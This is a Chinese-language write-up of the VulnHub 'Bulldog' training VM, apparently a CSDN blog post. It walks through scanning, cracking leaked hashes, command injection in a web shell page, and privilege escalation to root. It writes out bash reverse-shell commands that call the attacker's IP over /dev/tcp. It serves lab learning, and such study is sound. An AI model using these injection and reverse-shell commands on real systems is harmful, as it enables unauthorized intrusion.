VulnHub 靶机学习No.6 Bulldog

VulnHub 靶机学习No.6 BullDog

靶机运行说明

  • 靶机难度:初级至中级
  • 攻击机:kali linux,ip地址:192.168.56.102
  • 靶机:BullDog,IP地址:192.168.56.101
  • 目标:找到终极flag

信息收集

BullDog 靶机直接显示了IP地址:192.168.56.101
在这里插入图片描述
使用 nmap 对其进行全端口扫描

nmap -sV -p- 192.168.56.101

发现开放了23端口(ssh服务);开放的80和8080都是http服务,且后端语言为python,版本2.7.12
在这里插入图片描述
利用 whatweb 对web服务进行识别,发现使用的是Django框架

whatweb http://192.168.56.101

在这里插入图片描述
访问80端口
在这里插入图片描述

感谢您访问Bulldog Industries的网站,该网站是世界排名第一的高质量英国Bulldog摄影供应商! 不幸的是,我们将暂停业务运营,直到另行通知。 在本月的第一天,我们被告知违反了我们的技术系统。 我们目前正在评估黑客可能获得客户付款信息的可能性。 请放心,我们将为所有受影响的客户提供简单的信用监控。
有关此的更多信息,请参见下面的公开披露通知

看看通知
在这里插入图片描述

对于我们尊贵的客户,
在本月的第一天,我们的技术分析师发现了我们的支付卡系统遭到破坏。 我不知道这些黑客是如何做到的。 我们的技术人员正在告诉我有关蛤壳和臭牛的事情? 我不确定这一切。
为了证明Bulldog Industries对客户的承诺,我解雇了所有现有技术人员。 他们全部! 我们将从头开始重新启动! 别再找借口! 我们的技术人员必须充分利用自己的能力。 我们甚至将他们的预算提高了1%!
您必须在新家伙上看到胡须! 真正的技术赶时髦的人。 扎克伯格的类型。 他们知道自己的东西,从现在起安全性将不再是问题!
谨在此提醒我们尊贵的客户,由于此次违规,我们将提供基本的信用监控服务(如果您购买了$ 100或更高金额的商品)。

(另外,看了下8080端口的web服务,页面与80的一样。)
dirb 跑一波目录
在这里插入图片描述
对跑出来的链接逐一访问,一共仅有3个页面:

  • http://192.168.56.101/admin django后台登录页面
  • http://192.168.56.101/dev 说明页面
  • http://192.168.56.101/dev/shell 一个需要登录后才能使用的功能

从 /dev 页面中我们知道之前服务端是用php写的,还用了一些流行的cms,攻击者利用web服务器漏洞拥有了低权限,最后通过脏牛提权,接管了服务器。之前那些都被移除了,新网站用Django编写。下面有一个shell管理工具的链接(其实就是/dev/shell),还有一些人的邮箱地址。
在这里插入图片描述
惊喜地在源码中发现了一些hash值
在这里插入图片描述
利用 hash-identifier (kali自带)确认加密类型
在这里插入图片描述
成功解密出nick的账号对应密码为bulldog
在这里插入图片描述
sarah账号的密码 hash 在cmd5需要付费才能查看,而在somd5 免费解密成功,密码为bulldoglover
在这里插入图片描述
在这里插入图片描述
尝试用这两组账号进行ssh登录,可惜失败。
Django后台管理页面,均可成功登录。然后进入/dev/shell页面,可以使用shell功能了。
在这里插入图片描述
只允许我们使用ifconfig、ls、echo、pwd、cat、rm 这6个命令

经过尝试,发现存在命令注入漏洞
在这里插入图片描述
可以准备反弹shell了

利用 bash 弹shell

ls && bash -i >& /dev/tcp/192.168.56.102/4444 0>&1

我整个人直接裂开
在这里插入图片描述
感觉有可能是因为 > & 等符号造成了干扰
echo 打包,bash执行呢?

echo "bash -i >& /dev/tcp/192.168.56.102/4444 0>&1" |bash

弹shell成功
在这里插入图片描述
:靶机使用python写的web服务,这里也可以利用python来弹shell,已亲测可行。步骤:kali机准备好一个用来反弹shell的python文件;利用python开启一个http服务,浏览器的shell页面,wget下载python文件,然后执行

关于linux下反弹shell,可以参考这一篇:简书-Linux下几种常见的反弹shell方式

提权

在 /etc/passwd 中可以看到,uid >=1000 的用户有两个,分别是django 和 bulldogadmin,可以重点关注。
在这里插入图片描述
在 bulldogadmin 的家目录下发现一个隐藏的可以目录 .hiddenadmindirectory
在这里插入图片描述
note 中有对 customPermissionApp 的说明
在这里插入图片描述

运行这个app,提供你的密码,它将会决定你是否有权限使用它。…或许web服务管理员是唯一一个有时需要root权限的人

燃鹅我并不知道 django 的密码。查看他人的wp才知道,需要使用 strings 命令

strings customPermissionApp

在这里插入图片描述
去掉红框中末尾的3个H,得到SUPERultimatePASSWORDyouCANTget
用python起一个交互式shell

python -c 'import pty; pty.spawn("/bin/bash")'

sudo 一下,输入刚才的那串字符串,成功拥有root权限。
在这里插入图片描述
在这里插入图片描述
之后看了非常多关于这个靶场的wp,这里推荐两篇,思路比较独特的内种(一看就是大佬):
https://zhuanlan.zhihu.com/p/239680844
https://scriptboy.cn/p/writeup-bulldog/

知识点总结

  • strings 命令的使用
  • 工具 hash-identifier 的使用
  • 命令注入时反弹shell的方法
  • 解密md5之流的hash串,多备几个网站

参考链接:

https://www.jianshu.com/p/9456473a0a14
https://www.freebuf.com/column/200047.html
https://zhuanlan.zhihu.com/p/239680844
https://scriptboy.cn/p/writeup-bulldog/

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值